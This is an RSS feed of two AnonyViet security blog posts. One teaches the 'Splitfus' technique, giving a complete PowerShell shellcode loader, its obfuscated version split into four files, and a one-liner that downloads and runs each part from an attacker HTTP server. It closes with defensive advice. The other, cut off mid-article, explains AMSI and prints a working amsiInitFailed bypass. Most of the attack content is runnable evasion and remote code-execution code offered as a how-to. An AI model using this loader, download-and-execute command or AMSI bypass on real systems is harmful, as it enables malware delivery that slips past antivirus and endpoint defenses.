<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>execute &#8211; AnonyViet &#8211; English Version</title>
	<atom:link href="https://en.anonyviet.com/tag/execute/feed/" rel="self" type="application/rss+xml" />
	<link>https://en.anonyviet.com</link>
	<description>The most popular website for sharing information technology, computer networks, and security knowledge. Stay up to date with the hottest news and tips</description>
	<lastBuildDate>Sun, 20 Jul 2025 03:17:51 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://en.anonyviet.com/wp-content/uploads/2023/01/cropped-ico-logo-75x75-1.png</url>
	<title>execute &#8211; AnonyViet &#8211; English Version</title>
	<link>https://en.anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to use hackers use Splitfus to execute PowerShell malicious code</title>
		<link>https://en.anonyviet.com/how-to-use-hackers-use-splitfus-to-execute-powershell-malicious-code/</link>
					<comments>https://en.anonyviet.com/how-to-use-hackers-use-splitfus-to-execute-powershell-malicious-code/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 20 Jul 2025 03:17:51 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[execute]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[PowerShell]]></category>
		<category><![CDATA[Splitfus]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=19612</guid>

					<description><![CDATA[Currently, defensive systems such as Antivirus (AV) and Endpoint detection &#038; response (EDR) are increasingly strong. However, hackers are constantly creating sophisticated techniques to overcome this protective layer. One of the common techniques is Splitfus. This is the method of dividing the PowerShell code and disturbing the code (Obfuscate), then executing each part in many [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p>Currently, defensive systems such as Antivirus (AV) and Endpoint detection &#038; response (EDR) are increasingly strong. However, hackers are constantly creating sophisticated techniques to overcome this protective layer. One of the common techniques is <strong>Splitfus.</strong> This is the method of dividing the PowerShell code and disturbing the code (Obfuscate), then executing each part in many stages (staged deliver). So why is this technique so effective? Let&#8217;s find out with me!</p>
<div align="center">
<table class="aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"> <span style="font-size: 12pt;"> <strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">Anonyviet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" target="_blank" class="local-link">Link</a></span>  👈</strong> </span> </td>
</tr>
</tbody>
</table>
</div>
<p>Splitfus (abbreviated for <strong>Split + Obfusication</strong>) is the technique that hackers use to:</p>
<ul>
<li><strong>Split (Split)</strong> Powershell malware into many paragraphs, for example: malware1.ps1, malware2.ps1, malware3.ps1, &#8230;</li>
<li><strong>Obfuscate (Obfuscate)</strong> Each code to avoid being analyzed or detected by AV&#8217;s signature</li>
<li><strong>Execution in many stages (stageding)</strong>: When performing the attack, the victim will download each code from the hacker server and run directly in the memory, instead of saving the entire Payload on the disc. This is a realistic type that is commonly known as <strong>Multi-Stage Attack</strong> or <strong>Fileless malware</strong></li>
</ul>
<ul>
<li><strong>Reducing the possibility of being detected by signature-based detection</strong></li>
<li>Traditional AV is based on signatures or unique designs. When the malicious code is broken down and encoded, there is no paragraph containing the entire Payload, making the detection difficult.</li>
<li><strong>Avoid scanning and sandbox</strong>
<ul>
<li>If the entire Payload is in a file, AV is easy to analyze before running</li>
<li>With Splitfus, the monopoly is dynamic (on-demand) from the hacker server, so the sandbox environment is difficult to recreate the entire process</li>
</ul>
</li>
<li><strong>BYPASS AMSI (Antimalware Scan Interface)</strong></li>
<li>Windows Amsi is capable of scanning PowerShell content before execution. However, with Splitfus:
<ul>
<li>Small codes, Obfuscated and dynamic loads → difficult to be fully analyzed by Amsi</li>
<li>Many hackers also combine <strong>Amsi bypass</strong> With Splitfus to increase efficiency</li>
</ul>
</li>
<li><strong>Flexible and easy to update</strong></li>
<li>Hackers can change any segment on the server without spreading the entire Payload. This makes it harder for tracing or developing AV signatures</li>
</ul>
<p>The simple theoretical part is so short, now I will take the actual example for you to easily imagine how the technique is done</p>
<p>Many APT and Malware Framework attack campaigns like <strong>Cobalt Strike, PowerShell Empire, Metasploit</strong> has applied the same mechanism as Splitfus to spread Payload Staged. This is a popular trend in current fileless attacks.</p>
<p>Alright, now I try to run a piece of PowerShell code: Write-Host &#8220;Invoke-Mimikatz&#8221;. Oh you see, Antivirus discovered and blocked this code. This is only a piece of code printing out the string on the Terminal, why is it blocked? Because it contains a string of characters <strong>&#8220;Invoke-Mimikatz&#8221;</strong>. This is one <strong>Signature (signature)</strong> Extremely famous and typical of the attack tool <strong>Mimikatz</strong></p>
<p><img decoding="async" class="aligncenter" src="https://anonyviet.com/wp-content/uploads/2025/07/screenshot-2025-07-18-221618-png.png" alt="Screenshot 2025-07-18 221618.PNG" title="How to use hackers use Splitfus to execute PowerShell 9 Code"/></p>
<p>Thus, the AVs are configured to immediately block any code containing this dangerous signature, even at the earliest stage, to prevent all potential intentions related to Mimikatz. This is a risk prevention measure.</p>
<p>So we already know how to AV is configured, now try separating the &#8220;Invoke-Mimikatz&#8221; string into many different short chains.</p>
<p><img decoding="async" class="aligncenter" src="https://anonyviet.com/wp-content/uploads/2025/07/screenshot-2025-07-18-221712-png.png" alt="Screenshot 2025-07-18 221712.Png" title="How to use hackers use Splitfus technique to execute PowerShell 10 malicious code"/></p>
<p>As you can see, although separating the chain into small parts such as &#8220;Invo&#8221;, &#8220;ke&#8221;, &#8220;-mim&#8221;, &#8220;ikatz&#8221;, AV still does not detect malicious code. Later, when we resumed these strings in the process of implementing the results, &#8220;Invoke-Mimikatz&#8221; but has surpassed AV&#8217;s detection system. This is the simplest example of Splitfus</p>
<p>Now let&#8217;s see a more realistic exploitation example with the following PowerShell code, with the file called SC-Boriginal.ps1</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,&#13;
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,&#13;
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,&#13;
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,&#13;
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,&#13;
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,&#13;
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)&#13;
&#13;
function LookupFunc {&#13;
Param ($moduleName, $functionName)&#13;
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')&#13;
$tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}&#13;
$handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName));&#13;
[IntPtr] $result = 0;&#13;
try {&#13;
Write-Host "First Invoke - $moduleName $functionName";&#13;
$result = $tmp[0].Invoke($null, @($handle, $functionName));&#13;
}catch {&#13;
Write-Host "Second Invoke - $moduleName $functionName";&#13;
$handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle);&#13;
$result = $tmp[0].Invoke($null, @($handle, $functionName));&#13;
}&#13;
return $result;&#13;
}&#13;
&#13;
function getDelegateType {&#13;
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])&#13;
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])&#13;
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')&#13;
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')&#13;
return $type.CreateType()&#13;
}&#13;
&#13;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)&#13;
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length)&#13;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)</pre>
<p>This is the PowerShell code to execute the Shellcode of Calc.exe on Windows, if we execute the entire code, it will be blocked by AV. And now I will apply Splitfus technique. First I will use the tool <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fgithub.com%2Ftokyoneon%2FChimera.git" target="_blank" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Chima</a> To disturb this code, it becomes harder to read with the following statement</p>
<p><code>./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1</code></p>
<p><img decoding="async" class="aligncenter" src="https://anonyviet.com/wp-content/uploads/2025/07/screenshot-2025-07-19-121306-png.png" alt="Screenshot 2025-07-19 121306.png" title="How to use hackers use Splitfus technique to execute PowerShell 11 Code"/></p>
<p>Now, the PowerShell code was initially tangled by changing. Next, I will divide this file into smaller parts to execute in a discrete manner, making the security system unable to detect the typical signature of Shellcode</p>
<p>Next, I divided the SC-OBF.PS1 file into 4 separate files: SC1.PS1 (containing the shellcode storage variable), SC2.PS1 (containing the tangled LookupFunc function), SC3.PS1 (containing the tangled GetDelegatetype) and SC4.PS1 (containing the last 3 lines of code). Each part of this part is scanned individually will not cause warnings from AV. This is a disturbed and separate code of each file as I said</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">#sc1.ps1&#13;
[Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,&#13;
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,&#13;
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,&#13;
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,&#13;
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,&#13;
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,&#13;
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)</pre>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">#sc2.ps1&#13;
function iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs {&#13;
Param ($JzGCXcYJmJdQKoCerSqNXT, $LaHgzlZeSdXkwSwksNKHLbDEymlFp)&#13;
$FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')&#13;
$jWwCsHjXRPShPEyyEBpzOw = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}&#13;
$aFUfleAnufbxjgylCpxMoZnlpUkts = $FTNFeBumwTgCKnnMPmVEdfKoaWinKHpxBMujd.GetMethod('GetModuleHandle').Invoke($null, @($JzGCXcYJmJdQKoCerSqNXT));&#13;
[IntPtr] $XHcKpPqwXEaSejzfchayBW = 0;&#13;
try {&#13;
Write-Host "First Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp";&#13;
$XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp));&#13;
}catch {&#13;
Write-Host "Second Invoke - $JzGCXcYJmJdQKoCerSqNXT $LaHgzlZeSdXkwSwksNKHLbDEymlFp";&#13;
$aFUfleAnufbxjgylCpxMoZnlpUkts = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $aFUfleAnufbxjgylCpxMoZnlpUkts);&#13;
$XHcKpPqwXEaSejzfchayBW = $jWwCsHjXRPShPEyyEBpzOw[0].Invoke($null, @($aFUfleAnufbxjgylCpxMoZnlpUkts, $LaHgzlZeSdXkwSwksNKHLbDEymlFp));&#13;
}&#13;
return $XHcKpPqwXEaSejzfchayBW;&#13;
}</pre>
</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">#sc3.ps1&#13;
function DdKSsQGFmFfVhpHEtVzHaZFCWQGs {&#13;
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $GVUAdTXmnEpoFzPorhRfka,[Parameter(Position = 1)] [Type] $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB = [Void])&#13;
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])&#13;
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed')&#13;
$YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $RRqnOWxmsxKutFBpzSBCMlckCOfBNELkuuJsUOnHsB, $GVUAdTXmnEpoFzPorhRfka).SetImplementationFlags('Runtime, Managed')&#13;
return $YPjndxTHFIcbnisDBdfZAiWWMORMQEMwWeH.CreateType()&#13;
}</pre>
</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">#sc4.ps1&#13;
$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll VirtualAlloc),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length, 0x3000, 0x40)&#13;
[System.Runtime.InteropServices.Marshal]::Copy($LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe, 0, $WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH, $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe.Length)&#13;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((iRsUmgOEtIChVLeYYQcNrgKkLwHyChhaXKTDqfFcEs kernel32.dll CreateThread),(DdKSsQGFmFfVhpHEtVzHaZFCWQGs @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$WCUBLvVuyTuTmQBWbcWjbjzYViRFjOXfFH,[IntPtr]::Zero,0,[IntPtr]::Zero)</pre>
<p>The steps to perform this Splitfus technique are also very simple. First, I used the following command to initialize the Python server on port 80 with the IP address of 192.168.1.17:</p>
<p><code>python3 -m http.server 80</code></p>
<p>This server will save the Script PowerShell files that have been separated and tangled, allowing the victim&#8217;s machine to download separate parts.</p>
<p>Finally, I created a brief execution command to execute on the victim&#8217;s machine</p>
<p><code>1..4 | ForEach-Object { IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") }</code></p>
<p>This command will download and execute each script file from SC1.PS1 to SC4.PS1. This is an effective way to overcome malicious detection mechanisms because each individual part can look harmless. When combined, they form a complete attack that many security solutions cannot be detected</p>
<p><img decoding="async" src="https://anonyviet.com/wp-content/uploads/2025/07/word-image-91200-4.gif" alt="How to use hackers use Splitfus technique to execute PowerShell 5 malicious code" title="How to use hackers use Splitfus technique to execute PowerShell 12 Code"/></p>
<p>With Metasploit, creating Shellcode becomes much easier. I will use the MSFVENOM command to create a new shellcode, then replace it with SC1.PS1. This allows me to customize the attack in many different directions, from taking the victim&#8217;s computer to steal information or install Backdoor</p>
<p><a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fstreamable.com%2Frwoo4k" target="_blank" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">https://stroamable.com/rwoo4k</a></p>
<p>And these are simple examples, but in fact, PowerShell malicious code is not so simple. Hackers will have to use more techniques <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fbypass-amsi-va-thuc-thi-ma-doc-tren-windows%2F" class="local-link">BYPASS Amsi</a> To increase the success rate</p>
<h2 id="ftoc-cach-phong-thu-truoc-ky-thuat-splitfus" class="ftwp-heading"><strong>How to defend before Splitfus</strong></h2>
<p>Splitfus technique is one of the sophisticated powerhell attack methods, difficult to detect if the system is not closely monitored. In order to effectively defend before Splitfus, the network security team needs to synchronously deploy many active measures, from monitoring behavior to building an early warning system and ending training.</p>
<h3 id="ftoc-tang-cuong-giam-sat-powershell" class="ftwp-heading"><strong> Strengthen PowerShell monitoring</strong></h3>
<p>PowerShell is a tool that is often abused in modern attacks. To monitor abnormal operations, the system needs to turn on the Script Block Logging Diary feature (using the Event ID 4104) in combination with the logging module. These settings help save the entire PowerShell command that were executed, even when the OBFUSCATE was tangled. In addition, it is advisable to activate the Constrained Language Mode to limit the use of dangerous commands in the PowerShell execution environment.</p>
<h3 id="ftoc-kich-hoat-va-bao-ve-amsi-antimalware-scan-interface" class="ftwp-heading"><strong>Activate and protect AMSI (Antimalware Scan Interface)</strong></h3>
<p>Amsi is an important defense class that helps analyze the code before being executed in PowerShell. Make sure that Amsi is always enabled and not overcome (BYPASS) is essential. When integrated with Microsoft Defender or EDR solutions that support Amsi scanning, the ability to detect malicious code will be significantly improved, helping to prevent attacks from Splitfus early.</p>
<h3 id="ftoc-kiem-tra-hanh-vi-tai-dong-trong-he-thong" class="ftwp-heading"><strong>Check the dynamic load in the system</strong></h3>
<p>A common feature of Splitfus is to use dangerous parameters in PowerShell such as Encodedcommand or call the IEX function to download remote code via chain such as (New-Object net.webclient) .Downloadstring. The EDR or HIDS systems need to be configured to identify these behaviors. At the same time, it is necessary to be alert when detecting the script downloaded from unnecessary domain, especially the HTTP GET requirements containing the tail files .ps1.</p>
<h3 id="ftoc-thiet-lap-kiem-soat-truy-cap-mang-chat-che" class="ftwp-heading"><strong>Strict network access control</strong></h3>
<p>The network access control plays an important role in preventing Splitfus from communicating with the control server (C2 Server). It is necessary to actively block outbound connections to IP addresses or suspected domain. The proxy configuration combined with TLS test (TLS Inspection) will help detect the acting behavior hidden under encrypted connections. In addition, continuous updates of attack indicators (IOC) from Threat Intelligence Feed will improve the ability to identify and respond promptly.</p>
<p>Finally, the human element is always the weakest link in the defense chain. Propagating and training end users to raise security awareness is mandatory. Staff should be instructed not to run script from unclear sources. At the same time, the skill of identifying the fake email (Phishing) should also be focused because this is usually the starting point of Splitfus attacks.</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-use-hackers-use-splitfus-to-execute-powershell-malicious-code/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2025/07/word-image-91200-5.png" medium="image"></media:content>
            	</item>
		<item>
		<title>Bypass AMSI and execute malicious code on Windows</title>
		<link>https://en.anonyviet.com/bypass-amsi-and-execute-malicious-code-on-windows/</link>
					<comments>https://en.anonyviet.com/bypass-amsi-and-execute-malicious-code-on-windows/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Sun, 03 Nov 2024 03:12:12 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[AMSI]]></category>
		<category><![CDATA[Bypass]]></category>
		<category><![CDATA[Code]]></category>
		<category><![CDATA[execute]]></category>
		<category><![CDATA[malicious]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=17259</guid>

					<description><![CDATA[In the Windows security environment, Microsoft has developed AMSI (Antimalware Scan Interface) as a protection layer to detect and prevent malicious code. AMSI is designed to scan and detect signs of malicious code in programs such as PowerShell, VBA macros, etc. However, hackers are constantly looking for ways to bypass this protection mechanism, from encryption, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p>In the Windows security environment, Microsoft has developed AMSI (Antimalware Scan Interface) as a protection layer to detect and prevent malicious code. AMSI is designed to scan and detect signs of malicious code in programs such as PowerShell, VBA macros, etc. However, hackers are constantly looking for ways to bypass this protection mechanism, from encryption, obfuscation, and techniques to directly interfere with AMSI.</p>
<div class="code-block code-block-16" style="margin: 8px 0; clear: both;">
<div align="center">
<table class=" aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"><span style="font-size: 12pt;"><strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">AnonyViet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" class="local-link" rel="noopener">Link</a></span>  👈</strong></span></td>
</tr>
</tbody>
</table>
</div>
</div>
<p>In this article, I will explain how this technique works and why it can bypass Microsoft&#39;s protection mechanism. Let&#39;s dig into the details to better understand how AMSI works and why it can be bypassed.</p>
<p style="text-align: center;"><strong><span style="color: #ff0000;">Note:</span> <span style="color: #0000ff;">This article is for educational purposes only, please do not carry out any illegal attacks. Anonyviet does not bear all responsibility for what you have caused!</span></strong></p>
<h2 id="ftoc-amsi-la-gi" class="ftwp-heading"><strong>What is AMSI? </strong></h2>
<p>AMSI (Antimalware Scan Interface) is a security mechanism built into Windows, allowing anti-malware software to scan and analyze suspicious data as soon as the data is downloaded or prepared to be executed. Through AMSI, applications can request content scanning before storage or execution, to detect early signs of malicious code and prevent potential threats. However, if malicious code can disable this mechanism, it can easily bypass security software, thereby entering the system without being detected.</p>
<h2 id="ftoc-amsi-hoat-dong-nhu-the-nao" class="ftwp-heading"><strong>How does AMSI work?</strong></h2>
<p>When a user executes a script or launches PowerShell, the “amsi.dll” file is inserted into the process&#39;s memory space. Before execution, the following two APIs are used by AntiVirus software to scan caches and strings for signs of malware:</p>
<ol>
<li><strong>AmsiScanBuffer</strong>: is used to scan any memory area (buffer) to detect malware. Typically, this memory area contains code that a program such as PowerShell, VBA, etc. is trying to execute. AmsiScanBuffer will receive data from the current process&#39;s memory area, then send this data to antivirus software to analyze and compare with known malware signatures or samples. If malicious code is detected, a notification will be issued indicating that the code shows signs of malware and will be prevented from executing.</li>
<li><strong>AmsiScanString</strong>: is designed to scan a specific string to detect malicious code. This string can be the source code of a piece of code or any text content that the program is processing. When a piece of code or a string of text is loaded into memory and prepared for execution, AmsiScanString scans the string&#39;s contents. Similar to AmsiScanBuffer, if malicious code samples are found, the function will prevent the code from being executed and warn the user.</li>
</ol>
<p>You can see the picture below to better understand how AMSI works</p>
<p><strong><img loading="lazy" decoding="async" class="aligncenter wp-image-71130" src="https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-icons-description.png" alt="Bypass AMSI and execute malicious code on Windows" width="508" height="400" srcset="https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-icons-description.png 508w, https://anonyviet.com/wp-content/uploads/2024/11/a-computer-screen-with-text-and-icons-description-300x236.png 300w" sizes="auto, (max-width: 508px) 100vw, 508px"/></strong></p>
<p>Thus, AmsiScanBuffer is often used to scan entire large memory areas containing code, while AmsiScanString is mainly used for specific character strings or short pieces of code.</p>
<p>Because scanning is based on identification signatures, hackers can Bypass AMSI using a variety of tactics. Although some techniques have been blocked, changing strings and variables, encryption and obfuscation can make it easier for hackers to bypass even old techniques.</p>
<h2 id="ftoc-demo-ki-thuat-bypass-amsi-va-thuc-thi-ma-doc-tu-xa-tren-windows-11" class="ftwp-heading"><strong>Demo Bypass AMSI technique and remote malicious code execution on Windows 11</strong></h2>
<p>After a while of research, I found a Powershell script to do this technique, the code has the following content:</p>
<table>
<tbody>
<tr>
<td>1</p>
<p>2</p>
<p>3</p>
</td>
<td>$AmsiUtils = [Ref].Assembly.GetType(&#39;System.Management.Automation.AmsiUtils&#39;)</p>
<p>$AmsiInitFailed = $AmsiUtils.GetField(&#39;amsiInitFailed&#39;, &#39;NonPublic,Static&#39;)</p>
<p>$AmsiInitFailed.SetValue($null, $true)</p>
</td>
</tr>
</tbody>
</table>
<p>In the first line of code, the variable &#8220;$AmsiUtils&#8221; will contain information about Class &#8220;AmsiUtils&#8221; in .NET Assembly that allows access to components and methods of Class &#8220;AmsiUtils&#8221;. Details are as follows:</p>
<ul>
<li>[Ref]  : This is a data type in .NET that allows you to work with object references</li>
<li>“.Assembly”: points to the assembly (code collection) of Class “AmsiUtils”</li>
<li>“GetType(&#39;System.Management.Automation.AmsiUtils&#39;)” finds the Class named “AmsiUtils” in the namespace “System.Management.Automation”, which contains support components for PowerShell.</li>
</ul>
<p>The second line of code is used to get a reference to the field (also known as field) &#8220;amsiInitFailed&#8221; of Class &#8220;AmsiUtils&#8221;. The variable “$AmsiInitFailed” will contain information about the field “amsiInitFailed”, allowing its value to be changed. Details are as follows:</p>
<ul>
<li>“GetField(&#39;amsiInitFailed&#39;, &#39;NonPublic,Static&#39;)” finds field named “amsiInitFailed” with non-public property “NonPublic” and static field “Static”</li>
<li>This field &#8220;amsiInitFailed&#8221; is used to check the initialization status of AMSI. If the result is &#8220;true&#8221;, it shows that AMSI was not initialized successfully.</li>
</ul>
<p>Coming to the last line of code, this line of code will change the value of the field &#8220;amsiInitFailed&#8221; to &#8220;true&#8221;. After running this line, AMSI will be disabled and any malicious code can execute without detection. Details are as follows:</p>
<ul>
<li>“SetValue($null, $true)” is used to set the value of field “amsiInitFailed”. With the first parameter being “$null” because there is no specific object to apply the value to the static field (static field)</li>
<li>By setting this value to “true” is to trick PowerShell into thinking that AMSI has not been initialized, thus AMSI does not scan PowerShell scripts and allow malicious code to execute. Reading this far, I advise you not to trust anyone too much, otherwise you will be deceived like AMSI =))</li>
</ul>
<p>The above code is too common, so when executed, AMSI will detect and prevent it.</p>
